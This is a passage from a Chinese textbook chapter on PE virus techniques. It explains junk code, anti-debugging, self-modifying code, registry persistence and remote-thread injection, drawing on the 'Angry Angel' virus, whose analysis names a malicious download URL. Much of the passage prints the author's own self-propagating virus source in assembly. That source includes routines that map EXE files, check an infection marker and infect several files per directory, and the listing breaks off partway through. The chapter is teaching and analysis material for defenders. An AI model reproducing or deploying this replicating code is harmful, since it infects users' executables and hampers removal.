Code），顾名思义，即花哨的指令、没有用的指令。通过在代码中添加花指令，可以增加反汇编和逆向的难度，让破解者无法正确地反汇编程序的功能，使破解者在调试和跟踪过程中迷路。花指令的构造五花八门，主要方法可以通过一些跳转指令、栈或位运算来实现，以下以跳转指令为例来看花指令的编写方法，看下面的代码： 以上反汇编代码选自愤怒天使病毒，看其中的两句： js 00000006 jns 00000006 这两条指令等价于直接跳转。因为两个判断都指向同一个地址，指令起始字节码为E8。将E8前的垃圾指令EB（如上所示，已经为该指令设置了删除线）更改为90，然后重新加载再来反汇编（以下反汇编代码取自被感染了愤怒天使病毒的记事本程序的相同位置）： 可以看到，反汇编代码已经发生了重组，90 E8指令被分解，前一个解释为nop指令，后一个则和其后的一个双字组合成另外的指令。即代码中的条件判断语句转移到的地址0100F516处变成了一个call调用指令，继续看call指令后的操作数所在位置的反汇编指令字节码： 跳转到的位置仅仅是一个返回指令RETN，并没有做任何有意义的操作，所以说，call notepadr.010109CA也是一条花指令。下面用汇编源代码完整地还原该部分花指令的构造方法： 定义的函数Rubbish没有做任何操作，是花指令；条件分支语句跳转到同一个位置，也是花指令；添加的无用字节码EB会被调试软件解释成指令语句，扰乱正常的调试过程。以上指令中，有用的指令只有最后一句（也就是加黑部分）。通过添加无用字节码EB，可以有效地阻碍调试器的正常调试，使程序流程转向错误的业务逻辑。"},
    {"text": "23.1.2 反跟踪技术 23.1.2 反跟踪技术 通过在指令中添加无用的数据，可以造成调试器的误识，从而防止反病毒人员对病毒代码进行跟踪调试。在上面的例子中，数据EB即为垃圾指令，在代码段中插入这样的数据，很容易让调试器误识。看下面的例子： 地址0x0100F51F处的指令为一个调用指令CALL notepadr.0100F535，可是大家却发现调试器真正反汇编出的代码中，该地址的字节码并不是指令，而是操作数，最大的元凶就是59前的垃圾数据EB。这主要是因为大部分的调试器多采用线性扫描算法，对代码中夹杂的垃圾数据并不进行全局范围的深入分析，这样就无法正确识别代码与数据，从而造成误识。将该字节EB更改为90后，59就由操作数变成了指令。以下是再次反汇编的结果： 还有比这更复杂一点的例子，看以下反汇编指令： 相应的字节码为： 可以看到，5E指令前的所谓垃圾指令00还不能被替换为其他值，因为它不仅是垃圾指令，还另有他用，它是函数名GetProcAddress的最后一个“\\0”结尾字符。如果将该字节修改成90，则会影响程序运行，导致运行失败。从上面的分析可以看出，巧妙地利用一些编程技巧可以有效地减缓跟踪代码流程的进度，为逆向分析制造麻烦。假设病毒程序的设计者在病毒代码中加入对某段代码的运行时间的检测，通过判断运行时间值即可发现当前进程是否处于用户调试跟踪状态，从而采取更有效的措施结束调试或误导用户进入其他代码流程，这属于反调试的范畴。 23.1.3 反调试技术 23.1.3 反调试技术 反病毒工作的第一步是动态调试病毒程序流程，而病毒要做的则是反调试技术。病毒通过各种方法获取当前运行的进程状态，看病毒进程是否处于被调试状态，如果处在被调试状态，则执行破坏模块或者执行反调试程序。 以下是一个获取当前进程是否处于被调试状态的示例。该示例采用的主要方法是在操作系统记录的与当前线程或进程中查找与调试有关的信息。通过对本书9.1.4节的学习我们知道，操作系统中的每一个程序在运行时会维护一个主线程对应的TEB，即线程环境块，而该块中30h处指向了该线程所属的进程环境块PEB。在PEB偏移68h处有一个标志字NtGlobalFlags，这个标志字随着进程状态的不同而不同。以下是该标志字常用的值及常量符号定义： 进程如果被调试程序创建，那么在加载映像期间，用户模式的代码在调用LdrpInitialize函数进行初始化时，会通过PEB.BeingDebugged字段的值来判断当前进程是否处在被调试阶段，如果被调试，则系统会将NtGlobalFlag的值设置为以下内容： If(!NT_SUCCESS(st)){ If(Peb-＞BeingDebugged){ Peb-＞NtGlobalFlag|=FLG_HEAP_ENABLE_TAIL_CHECK| FLG_HEAP_ENABLE_FREE_CHECK| FLG_HEAP_VALIDATE_PARAMETERS ; ...... 从以上所列代码可以看出，NtGlobalFlag的值被设置为当前值与三个标志相或的组合，最终NtGlobalFlag得到的结果是70h。通过该标志字就可以判断当前进程是否处在被调试状态，其实这种方法和直接通过字段Peb.BeingDebugged的值进行判断的效果是一样的。代码清单23-1的程序代码实现了上述方法。 代码清单23-1 反调试技术实例（chapter23\\antidebug.asm） 1 ;------------------------ 2 ;反调试技术测试 3 ;戚利 4 ;2011.3.2 5 ;------------------------ 6 .386 7 .model flat,stdcall 8 option casemap:none 9 10 include windows.inc 11 include user32.inc 12 includelib user32.lib 13 include kernel32.inc 14 includelib kernel32.lib 15 16 ;数据段 17 .data 18 szText db \"HelloWorldPE\",0 19 szDebugged db\"我正在被调试!\",0 20 szNoDebugged db\"没有被调试!\",0 21 22 .code 23 start: 24 assume fs:nothing 25 ;指向PDB(Process Database) 26 mov eax,fs:[30h] ;eax为TEB.ProcessEnvironmentBlock 27 28 mov eax,[eax+68h] 29 and eax,070h ;测试NtGlobalFlags 30 test eax,eax 31 jne @isDebugged 32 33 invoke MessageBox,NULL,addr szNoDebugged,\\ 34 NULL,MB_OK 35 jmp @ret 36 37 @isDebugged: 38 invoke MessageBox,NULL,addr szDebugged,\\ 39 NULL,MB_OK 40 @ret: 41 invoke ExitProcess,NULL 42 43 end start 以上所述只是根据系统记录信息判断进程是否被调试的一种方法，我们还可以通过诸如API函数（如函数IsDebuggerPresent）来判断进程是否处于被调试状态；还有的病毒则通过获取所有常用调试器的特征来判断当前进程是否处于被调试状态等。类似的技术也会随着人们对调试态与正常态下程序状态及相关信息存在的区别的了解的深入被越来越多地开发出来。"},
    {"text": "23.1.4 自修改技术 23.1.4 自修改技术 SMC（Self-Modifying Code，代码的自修改）技术是指对要运行的代码预先进行加密，在运行时将代码在内存实施再解密还原的技术。通过这样的技术，可以实现简单的代码保护，不过这种技术加密的代码通过动态跟踪识别，很容易就能得到解密后的代码。以下是一个简单的例子： ...... mov eax,offset _encrptEnd sub eax,offset _encrptStart mov dwEncrptSize,eax lea eax,_encrptStart invoke _encrptIt,eax,dwEncrptSize _encrptStart: db 1eh,74h,1eh,74h,1ch,74h,44h,34h db 74h,1eh,74h,9ch,73h,74h,74h,74h _encrptEnd: ...... 如上所示，程序运行时，会首先将_encrptStart开始的加密字节码还原。程序使用了最简单的加密算法XOR（异或算法），由于对一个数异或两次得到的还是这个数本身，所以加密和解密都可以只用一个函数。以下是该函数的详细定义： ;---------------------- ;异或加密解密算法 ;加密解密使用同一个函数 ;---------------------- _encrptIt proc _lpSrc,_size pushad mov esi,_lpSrc mov edi,_lpSrc mov ecx,_size loc1: mov al,byte ptr [esi] xor al,74h ;算法很简单，异或 mov byte ptr [edi],al inc esi inc edi dec ecx .if ecx!=0 jmp loc1 .endif popad ret _encrptIt endp 函数_encrptIt将得到的字节与74h异或，作为加密后的字节存储，被加密的字节重新与74h异或则能得到最初的字节（即解密后的字节）。经过解密以后的字节码被还原以后变成指令代码，如下黑体部分所示： 解密完成后，程序指令指针会指向该部分数据的起始，然后运行刚解密的代码。 注意 由于加密是在内存的代码中进行，所以需要注意一点的是，在链接时要指定代码段属性为可读、可写、可运行，相关代码在随书文件chapter23\\smc1.asm中。 23.1.5 注册表项保护技术 23.1.5 注册表项保护技术 有些病毒为了获得控制权，并不感染PE文件通过宿主的运行进入内存，而是感染系统启动项，这些启动项包括（但不限于）以下所列： HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\load HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEX HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon HKEY_LOCAL_MACHINE\\System\\ControlSet001\\Session Manager HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Group Policy Objects\\本地User\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run 病毒在注册表启动项中添加了引导自身启动的定义以后，为了防止被其他用户或者杀毒软件将其删除或修改，还必须时刻监视注册表的变化，随时修正这里的值，保证此处的值始终有效。以下是愤怒天使病毒代码中，通过一个线程回调函数来执行注册表监控操作的反汇编代码： 以上代码通过函数RegQueryValueExA在注册表中查找Serverx键，获取键值。函数原型如下： LSTATUS RegQueryValueExA ( HKEY hkey, LPCSTR name, ;指定要查询的子键名 LPDWORD reserved, LPDWORD type, ;返回键的类型 LPBYTE data, ;返回键的名称 LPDWORD count ) 接着往下看： 通过调用函数RegNotifyChangeKeyValue跟踪注册表指定位置的值是否发生变化。函数原型如下： LONG WINAPI RegNotifyChangeKeyValue( HKEY hKey, BOOL bWatchSubtree, ;要监视的子键 DWORD dwNotifyFilter, ;监视过滤器 HANDLE hEvent, ;事件 BOOL fAsynchronous ); 函数中各参数解释如下： 1）hKey：要监视的键的句柄，或者指定一个标准键名。 2）bWatchSubtree：TRUE（非0）表示监视子项以及指定的项。 3）dwNotifyFilter：下述常数的一个或多个： REG_NOTIFY_CHANGE_NAME，侦测注册表项名称的变化，以及侦测注册表的创建和删除事件。 REG_NOTIFY_CHANGE_ATTRIBUTES，侦测属性的变化。 REG_NOTIFY_CHANGE_LAST_SET，侦测上一次修改时间的变化，该例中使用了这个常数。 REG_NOTIFY_CHANGE_SECURITY，侦测对安全特性的改动。 4）hEvent：一个事件的句柄。如fAsynchronus为FALSE，则这里的设置会被忽略。 5）fAsynchronus：如果为0，那么除非侦测到一个变化，否则函数不会返回。如果为其他值，则这个函数会立即返回，而且在发生变化时触发由hEvent参数指定的一个事件。该函数的调用示例如下： RegNotifyChangeKeyValue(hreg, TRUE, REG_NOTIFY_CHANGE_LAST_SET, mWatchReg, TRUE) ; 接着往下看，以下代码是重设注册表项的值： 如果发现注册表项被修改，则执行RegSetValueExA函数重设病毒代码预设的值。通过构造这样的一个死循环，然后将这个循环放入一个线程回调函数中，就实现了对注册表项的监视和修复操作。"},
    {"text": "23.1.6 进程保护技术 23.1.6 进程保护技术 病毒程序要想在内存中长久地运行，必须有自己的生存之道，这涉及进程的保护技术。RING3下常见的进程保护大部分都是通过注册系统服务或远程线程注入（这项技术在13.1.4节讲过），或者通过HOOK一些API函数进行自我隐藏和保护。PE病毒的运行一般都依赖于宿主程序，它寄生到宿主程序中的意图很明显：不想让我活，你也别想活！以下节选自对愤怒天使病毒的分析，其基本思路为： 步骤1 随意找一个窗口。 步骤2 找到窗口的进程ID。 步骤3 使用PROCESS_VM_OPERATION|PROCESS_VM_WRITE|PROCESS_VM_READ标志打开该进程，得到该进程的HANDLE。 步骤4 使用VirtualAllocEx在该进程上分配适当大小的内存，得到一个地址。这个地址是远程进程的，通过mov指令直接修改该地址上的值是无效的。 步骤5 如果需要传递一些参数到远程进程，可以通过函数WriteProcessMemory在该内存上写一些内容。 步骤6 使用CreateRemoteThread在远程进程中创建线程，执行非法操作。从表面上看，这意味着“让好人做坏事”。 步骤7 关闭句柄。 步骤8 调用VritualFreeEx将上面的内存释放。 以下是病毒通过远程线程注入保护自己的代码分析部分： 返回了病毒程序的完整路径： edi=\"C:\\windows\\system32\\Serverx.exe\" 注意，上面的函数地址并未获取到，在病毒里对此情况已经有所考虑。在Windows9x/2000中，每个应用程序都可以通过函数RegisterServiceProcess向系统申请注册成为一个服务进程，同时，通过这个函数注销其服务进程来结束这个服务进程的运行。如果一个进程注册为一个服务进程，通过Ctrl+Alt+Del就可以在任务列表里看见该进程的标题；而如果一个进程运行但没有向系统申请注册成为服务进程，那么就不会在任务列表里显示。愤怒天使病毒正是利用这个原理，使自身在运行时能在任务列表中实现隐藏。该函数存放于系统内核kernel32.dll中，具体声明如下： DWORD RegisterServiceProcess( DWORD dwProcessId, DWORD dwType ); 其第一个参数指定为一个服务进程的进程标识，如果是0则注册当前的进程；第二个参数指出是注册还是注销当前的进程，其状态分别为RSP_SIMPLE_SERVICE和RSP_UNREGISTER_SERVICE。遗憾的是，该函数只存在于Windows 9x系统的kernel32.dll中，在NT中并不存在该函数。 查找窗口句柄函数FindWindowA，其原型为： HWND WINAPI FindWindow( __in _opt LPCTSTR lpClassName, __in _opt LPCTSTR lpWindowName ); 两个参数分别是窗口的类名和窗口标题名。如果全部为NULL，则匹配任何一个窗口。 eax的返回值0001008C指向的位置数据为Unicode字符： \"\\Documents and Settings\\Administrator\\ApplicationData\". 接着往下看： 以上函数调用了GetWindowThreadProcessId，获取指定窗口所属的进程ID。原型为： DWORD GetWindowThreadProcessId( HWND hWnd,//窗口句柄 LPDWORD lpdwProcessId//返回进程ID ) 函数的功能：读取一个窗口的进程和线程ID，返回值是线程ID。 程序通过OpenProcess以不同的权限和用途打开一个已经存在的进程对象，函数原型： HANDLE WINAPI OpenProcess( __in DWORD dwDesiredAccess, __in BOOL bInheritHandle, __in DWORD dwProcessId ); 其中，dwDesiredAccess设置为PROCESS_ALL_ACCESS，即十六进制的1F0FFFh。 程序通过调用VirtualAllocEx在目标进程的内存中获取空间。函数原型为： LPVOID VirtualAllocEx( HANDLE hProcess,//申请内存所在的进程句柄 LPVOID lpAddress,//保留页面的内存地址；一般用NULL自动分配 SIZE_T dwSize,//欲分配的内存大小，字节单位；注意实际分配的内存大小是页内存大小的整数倍 DWORD flAllocationType, DWORD flProtect ); 在目标进程获取内存空间的主要目的是，想与目标进程进行数据结构的共享。当病毒有一些数据结构需要在目标进程操作时，必须将信息存放到目标进程的地址空间中。 通过函数WriteProcessMemory将数据写入目标进程地址空间。函数原型如下： BOOL WINAPI WriteProcessMemory( __in HANDLE hProcess, __in LPVOID lpBaseAddress, __in LPCVOID lpBuffer, __in SIZE_T nSize, __out SIZE_T*lpNumberOfBytesWritten ); 各参数解释如下： 1）hProcess：进程句柄。 2）lpBaseAddress：指向进程内存的基地址。 3）lpBuffer：缓冲区的指针，保存写入内容。 4）nSize：写入指定进程内存的字节数。 5）lpNumberOfBytesWritten：返回实际写入的字节数量。 病毒往目标进程空间写入的数据如下： 从以上所示数据的ASCⅡ码提示可以看出，这段代码是从非法网站http://vguarder.91i.net/SETUPX.EXE中下载与病毒运行有关的动态链接库文件。 以上代码获得当前进程的ID号。 如以上代码所示，程序通过函数CreateRemoteThread将复制到其他进程的代码激活，也就是说，CreateRemoteThread可将线程创建在远程进程中。 以上代码调用CloseHandle关闭打开的句柄。 调用函数CloseHandle关闭使用OpenProcess打开的进程句柄。至此，病毒程序实现了在目标进程运行病毒代码的目的。用户要结束病毒代码，就需要通过复杂的技术，或者直接终止目标进程，通过这样的手段，为病毒代码的清理工作制造很大的麻烦，从而达到保护病毒代码不被轻易终止的目的。 以上介绍了几种常见的病毒保护自己的方式，以及避免被跟踪被调试的技术，下面来看病毒补丁程序的编写。"},
    {"text": "23.2 PE病毒补丁程序解析 23.2 PE病毒补丁程序解析 本节的重点是分析PE病毒的补丁程序。在第一次运行时，将使用第17章介绍的补丁工具bind.asm实施附加病毒代码；当补丁程序被附加进目标PE文件后，再运行目标PE文件，由打了补丁的目标PE文件负责病毒的传播。 重要提示 以下将要叙述的这个程序已经具备了基本的传播特性，所以大家在测试时一定不能在系统目录或其他软件目录下运行。请在磁盘上新建一个目录，然后复制一些系统可执行程序进行测试，完成测试后删除即可。本程序在Windows XP SP3下测试通过。 23.2.1 病毒特征 首先来看PE病毒程序应具备的三个基本属性。 传统意义上的计算机病毒一般具有以下三个基本特征：破坏性、传播性、隐蔽性。这三个基本特征会在分析病毒程序的编写时逐一实现。 1.隐蔽性 本实例的病毒补丁程序寄生在正常的可执行文件中，在实施模拟破坏时（在磁盘上创建一个新目录）用户根本觉察不到。补丁程序在实施传播时，通过向进程所在当前目录中的PE文件打补丁的方式，实现病毒代码的传播，用户察觉不到。所以对用户来说，补丁程序的运行是透明的，具备隐蔽特性。 2.传播性 本实例的病毒补丁程序通过搜索目标PE目录下的所有可执行文件，对这些可执行文件进行补丁以实现传播。与前几章介绍的补丁工具bind.exe不同，本实例打补丁的代码已经附加进了PE文件里，不需要用户的参与，这意味着补丁程序本身具备补丁工具的功能。出于教学的目的，我们只是在目标PE文件所在的当前路径里进行传播；在现实生活中，大部分的病毒程序是不会放过Windows系统目录和System32目录的。真实的病毒甚至还会通过网络端口、电子邮件等更广的途径实现对病毒代码的传播。 3.破坏性 本实例演示的病毒补丁程序只是象征性地在C盘根目录下建立了BBBN子文件夹，这只是模拟破坏模块。真实的病毒模块中的破坏代码千奇百怪：有的会显示一些提示信息，扰乱正常的屏幕显示；有的会尝试关闭一些启动的进程；有的会删除硬盘上的文件；有的甚至还尝试做格式化硬盘的操作等。 需要注意，与以前的跳转代码不同的是，本实例补丁程序中使用了另外一种原始入口跳转方法： mov eax,12345678h org $-4 OldEIP dd 00001000h add eax,12345678h org $-4 ModBase dd 00400000h jmp eax 以上代码使用了一个汇编语言的小技巧，通过伪指令org $-4实现指令重叠。以上语句等价于： mov eax,OldEIP add eax,ModBase jmp eax 这种指令跳转的方式在本书22.2.3节中也有过介绍。"},
    {"text": "代码清单23-2 PE病毒补丁程序（chapter23\\patch.asm） 1 ;------------------------- 2 ;PE病毒补丁程序 3 ;本段代码使用了将代码添加到最后一节的方法 4 ;程序功能：实现创建目录的方法，具备传播功能 5 ;作者：戚利 6 ;开发日期：2010.7.7 7 ;------------------------- 8 9 .386 10 .model flat,stdcall 11 option casemap:none 12 13 include windows.inc 14 15 16 VIR_TOTAL_SIZE equ offset vir _end-offset vir _start 17 INFECTFILES equ 03h ;感染文件的个数 18 DEFAULT_KERNEL_BASE equ 07C800000h ;kernel32的默认基地址 19 DEFAULT_KERNEL_BASEwNT equ 077F00000h 20 21 常量VIR_TOTAL_SIZE是病毒代码的总长度，包含数据和代码的长度；"},
    {"text": "因为补丁程序不可能让病毒一次运行就把当前目录下所有的文件全部感染，在一个有上百或上千个EXE文件的目录中，这样做很容易被发现。 每次感染文件个数一旦超过这个值，病毒代码则选择静默，不感染任何EXE文件，直到下一次运行才被激活。"},
    {"text": "常量DEFAULT_KERNEL_BASE记录了在Windows XP SP3中kernel32.dll被装入的基地址，不过这个值在整个程序编写过程中会自动获取，并且通常获取到的结果即是正确的结果。"},
    {"text": "22 _ProtoGetProcAddress typedef proto :dword,:dword 23 _ProtoLoadLibrary typedef proto :dword 24 _ProtoCreateDir typedef proto :dword,:dword 以上三行是补丁代码里用到的主要API函数的声明。"},
    {"text": "25 26 27 _ApiGetProcAddress typedef ptr _ProtoGetProcAddress 28 _ApiLoadLibrary typedef ptr _ProtoLoadLibrary 29 _ApiCreateDir typedef ptr _ProtoCreateDir 30 以上三行是函数类型声明。"},
    {"text": "31 .code 32 ;被添加到目标文件的代码从这里开始，到vir _end处结束 33 vir _start equ this byte 34 35 jmp _NewEntry 36 37 行31是标识整个补丁程序的代码段。"},
    {"text": "38 szGetProcAddr db 'GetProcAddress',0 39 szLoadLib db 'LoadLibraryA',0 40 szCreateDir db 'CreateDirectoryA',0 ;该方法在kernel32.dll中 41 szDir db 'C:\\\\BBBN',0 ;要创建的目录 42 43 因为补丁程序中用到的三个函数都在kernel32.dll中，而kernel32.dll在每个运行的EXE程序中都被默认装载，所以，这里定义的函数声明其实并不完整。"},
    {"text": "如果以下这些内容被翻译成字节码，大家是不是感觉很熟悉，回顾PE文件导入表字段IMAGE_IMPORT_DESCRIPTOR.OriginalFirstThunk指向的那一部分，是不是很类似？"},
    {"text": "szTranslateAcceleratorA db 'TranslateAcceleratorA',0 szTranslateMessage db 'TranslateMessage',0 szUpdateWindow db 'UpdateWindow',0 szUser32 db 'user32.dll',0,0 szExitProcess db 'ExitProcess',0 szGetModuleHandleA db 'GetModuleHandleA',0 szRtlZeroMemory db 'RtlZeroMemory',0 szlstrcmpA db 'lstrcmpA',0 szKernel32 db 'kernel32.dll',0,0 接着看代码： 44 mark _db '[VirPE.Qili.v1.00]',0 ;病毒标识 45 db '(c)2010 Qili ShanDong',0 46 EXE_MASK db '*.exe',0 47 infections dd 00000000h ;感染文件的个数，超过指定个数即退出 48 kernel dd DEFAULT_KERNEL_BASE 49 mark_是病毒编写者的个人喜好，有的mark是用文字来描述，有的则使用图标来展示。"},
    {"text": "50 szFunNames equ this byte ;函数名列表 51 szFindFirstFileA db 'FindFirstFileA',0 52 szFindNextFileA db 'FindNextFileA',0 53 szFindClose db 'FindClose',0 54 szCreateFileA db 'CreateFileA',0 55 szSetFilePointer db 'SetFilePointer',0 56 szSetFileAttributesA db 'SetFileAttributesA',0 57 szCloseHandle db 'CloseHandle',0 58 szGetCurrentDirectoryA db 'GetCurrentDirectoryA',0 59 szSetCurrentDirectoryA db 'SetCurrentDirectoryA',0 60 szGetWindowsDirectoryA db 'GetWindowsDirectoryA',0 61 szGetSystemDirectoryA db 'GetSystemDirectoryA',0 62 szCreateFileMappingA db 'CreateFileMappingA',0 63 szMapViewOfFile db 'MapViewOfFile',0 64 szUnmapViewOfFile db 'UnmapViewOfFile',0 65 szSetEndOfFile db 'SetEndOfFile',0 66 db 0bbh ;结束符 67 传播病毒时用到的函数名列表如上所示，它们是以一个0bbh字节（保证该字节和函数名中定义的任何一个字符都不相等）结尾，主要目的是通过设置一个标志字节，可以有效地利用循环，避免逐个函数处理，以提高编程效率。"},
    {"text": "68 dd 12345678h 69 newSize dd 00000000h 70 searchHandle dd 00000000h 71 fileHandle dd 00000000h 72 mapHandle dd 00000000h 73 mapAddress dd 00000000h 74 addressTableVA dd 00000000h 75 nameTableVA dd 00000000h 76 ordinalTableVA dd 78563412h 77 dwPatchCodeSize dd ? ;补丁程序大小 78 dwNewFileSize dd ? ;新文件大小=目标文件大小+补丁程序大小 79 dwNewPatchCodeSize dd ? ;补丁程序按8位对齐后的大小 80 dwPatchCodeSegStart dd ? ;补丁程序所在节在文件中的起始地址 81 dwSectionCount dd ? ;目标文件节的个数 82 dwSections dd ? ;所有节表大小 83 dwNewHeaders dd ? ;新文件头的大小 84 dwFileAlign dd ? ;文件对齐粒度 85 dwFirstSectionStart dd ? ;目标文件第一节距离文件起始的偏移量 86 dwOff dd ? ;新文件比原来多出来的部分 87 dwValidHeadSize dd ? ;目标文件PE头的有效数据长度 88 dwHeaderSize dd ? ;文件头长度 89 dwBlock1 dd ? ;原PE头的有效数据长度+补丁程序的有效数据长度 90 dwPE_SECTIONSize dd ? ;PE头+节表大小 91 dwSectionsLeft dd ? ;目标文件所有节数据的大小 92 dwNewSectionSize dd ? ;新增加节对齐后的尺寸 93 dwNewSectionOff dd ? ;新增加节项描述在文件中的偏移 94 dwDstSizeOfImage dd ? ;目标文件内存映像的大小 95 dwNewSizeOfImage dd ? ;新增加的节在内存映像中的大小 96 dwNewFileAlignSize dd ? ;文件对齐后的大小 97 dwSectionsAlignLeft dd ? ;目标文件节在文件中对齐后的大小 98 dwLastSectionAlignSize dd ? ;目标文件最后一节对齐后的最终大小，包含代码 99 dwLastSectionStart dd ? ;目标文件最后一节在文件中的偏移 100 dwSectionAlign dd ? ;节对齐粒度 101 dwVirtualAddress dd ? ;最后一节的起始RVA 102 dwEIPOff dd ? ;新eip指针和旧eip指针的距离 103 104 105 106 dwDstEntryPoint dd ? ;旧的入口地址 107 dwNewEntryPoint dd ? ;新的入口地址 108 以上定义的参数变量是供正常EXE文件打补丁用的。"},
    {"text": "109 lpFunAddress equ this byte ;函数地址列表 110 _FindFirstFileA dd 00000000h 111 _FindNextFileA dd 00000000h 112 _FindClose dd 00000000h 113 _CreateFileA dd 00000000h 114 _SetFilePointer dd 00000000h 115 _SetFileAttributesA dd 00000000h 116 _CloseHandle dd 00000000h 117 _GetCurrentDirectoryA dd 00000000h 118 _SetCurrentDirectoryA dd 00000000h 119 _GetWindowsDirectoryA dd 00000000h 120 _GetSystemDirectoryA dd 00000000h 121 _CreateFileMappingA dd 00000000h 122 _MapViewOfFile dd 00000000h 123 _UnmapViewOfFile dd 00000000h 124 _SetEndOfFile dd 00000000h 125 函数地址列表（类似于导入表的IAT部分）不需要有任何结束标识，也不需要有个数声明。"},
    {"text": "126 MAX_PATH equ 260 127 128 129 WIN32_FIND_DATA1 equ this byte 130 WFD_dwFileAttributes dd ? 131 WFD_ftCreationTime FILETIME ＜?＞ 132 WFD_ftLastAccessTime FILETIME ＜?＞ 133 WFD_ftLastWriteTime FILETIME ＜?＞ 134 WFD_nFileSizeHigh dd ? 135 WFD_nFileSizeLow dd ? 136 WFD_dwReserved0 dd ? 137 WFD_dwReserved1 dd ? 138 WFD_szFileName db MAX_PATH dup (?) 139 WFD_szAlternateFileName db 13 dup (?) 140 db 03 dup (?) 141 directories equ this byte 142 OriginDir db 7Fh dup(0) ;应用程序所在的目录 143 144 dwDirectoryCount equ(($-directories)/7Fh) 145 mirrormirror db dwDirectoryCount ;目录个数 146 147 148 以上定义了查找文件时用到的数据结构。"},
    {"text": "如下所示，可以定义第二个目录secondDir： directories equ this byte OriginDir db 7Fh dup(0) ;应用程序所在的目录 secondDir db 'c:\\aa',0,79 dup(0) ;添加的第二个目录 dwDirectoryCount equ(($-directories)/7Fh) mirrormirror db dwDirectoryCount ;目录个数 2.私有函数定义 为了实施病毒传播，以及实现病毒的隐蔽特性，将PE病毒补丁代码附加到要感染的对象中，需要定义很多辅助函数，这些函数是内部私有的，由主程序调用。"},
    {"text": "829 ;--------------------------------- 830 ;指定感染文件 831 ;--------------------------------- 832 _infect proc 833 ;获取文件名，清除文件属性 834 lea esi,[ebx+WFD_szFileName] 835 push 80h 836 push esi 837 call [ebx+_SetFileAttributesA] 838 call openFile 839 inc eax ;如果eax=-1，则打开文件出错 840 jz cannotOpen 841 dec eax 842 mov dword ptr [ebx+fileHandle],eax ;存储文件句柄 843 mov ecx,dword ptr [ebx+WFD_nFileSizeLow] 844 call createMap ;创建映射文件 845 or eax,eax 846 jz closeFile 847 mov dword ptr [ebx+mapHandle],eax 848 ;映射文件到内存 849 mov ecx,dword ptr [ebx+WFD_nFileSizeLow] 850 call mapFile 851 or eax,eax 852 jz unMapFile 853 mov dword ptr [ebx+mapAddress],eax 行833～853打开目标PE文件，将文件属性设置为一般文件，并实施内存映射。 854 855 856 857 ;开始处理文件，判断文件是否为合法PE文件 858 mov esi,[eax+3ch] 859 add esi,eax 860 cmp dword ptr [esi],\"EP\" ;比较是否为\"PE\" 861 jnz noInfect 862 863 push esi 864 mov esi,dword ptr [ebx+mapAddress] 865 add esi,4 866 mov eax,dword ptr [esi] 867 pop esi 868 869 cmp eax,\"iliq\" ;判断是否被感染过 870 jz noInfect 以上代码判断打开的文件是否为PE文件，如果是，则继续通过标志位判断是否已经被感染过；"},
    {"text": "标志位位于PE文件开始的第4个字节处，下面列出了一个被感染的PE文件的头部信息： 如上所示，文件头开始的第4个字节处，存储了\"iliq\"标志，补丁程序在打补丁前会首先判断此处是否已存在该标志，如果存在则略过不再对PE文件执行打补丁操作，这样可以避免对一个已经打过补丁的PE文件进行重复的多次补丁过程。"},
    {"text": "1045 ;----------------------------- 1046 ;对指定个数的文件进行感染 1047 ;----------------------------- 1048 _infectIt proc 1049 ;首先找到第一个符合条件的文件 1050 and dword ptr [ebx+infections],00000000h ;计数清零 1051 lea eax,[ebx+offset WIN32_FIND_DATA1] 1052 push eax 1053 lea eax,[ebx+offset EXE_MASK] 1054 push eax 1055 call [ebx+_FindFirstFileA] 1056 1057 inc eax ;如果没有，返回-1，则退出 1058 jz failInfect 1059 dec eax 1060 mov dword ptr [ebx+searchHandle],eax ;存储搜索文件句柄 1061 _1: 1062 call _infect 1063 cmp byte ptr [ebx+infections],INFECTFILES ;处理超过指定个数文件，则退出 1064 jz failInfect 1065 _2: 1066 ;清空上一次填充的文件名内容，为下一步做准备 1067 lea edi,[ebx+WFD_szFileName] 1068 mov ecx,MAX_PATH 1069 xor al,al 1070 rep stosb 1071 lea eax,[ebx+offset WIN32_FIND_DATA1] 1072 push eax 1073 push dword ptr [ebx+searchHandle] 1074 ;找下一个符合条件的文件 1075 call [ebx+_FindNextFileA] 1076 or eax,eax ;找到下一个文件则转到_1继续处理 1077 jnz_1 1078 failInfect: 1079 ret 1080 _infectIt endp 1081 1082 _infectItAll proc 1083 ;指向第一个目录 1084 lea edi,[ebx+directories] 1085 push edi 1086 ;处理当前目录中的EXE文件 1087 call [ebx+_SetCurrentDirectoryA] 1088 call _infectIt 1089 ret 1090 _infectItAll endp 1091 1092 1093 4.主函数 实现补丁程序功能模块之前，要做以下工作，这些工作被封装在一个名为_start的子程序里。"},
    {"text": "该子程序首先获取kernel32.dll的基地址，然后获取两个重要函数的地址，并通过函数_getAllAPIs将数据定义中所有用到的函数所在的内存地址进行初始化。"},
    {"text": "1094 _start proc 1095 local hKernel32Base:dword ;存放kernel32.dll基地址 1096 local hUser32Base:dword 1097 1098 local _getProcAddress:_ApiGetProcAddress ;定义函数 1099 local _loadLibrary:_ApiLoadLibrary 1100 local _createDir:_ApiCreateDir 1101 1102 pushad 1103 1104 ;获取kernel32.dll的基地址 1105 invoke _getKernelBase,eax 1106 mov hKernel32Base,eax 1107 mov dword ptr [ebx+kernel],eax 1108 1109 ;从基地址出发搜索GetProcAddress函数的首址 1110 mov eax,offset szGetProcAddr 1111 add eax,ebx 1112 1113 mov edi,hKernel32Base 1114 mov ecx,edi 1115 1116 invoke _getApi,ecx,eax 1117 mov _getProcAddress,eax ;为函数引用赋值GetProcAddress 1118 1119 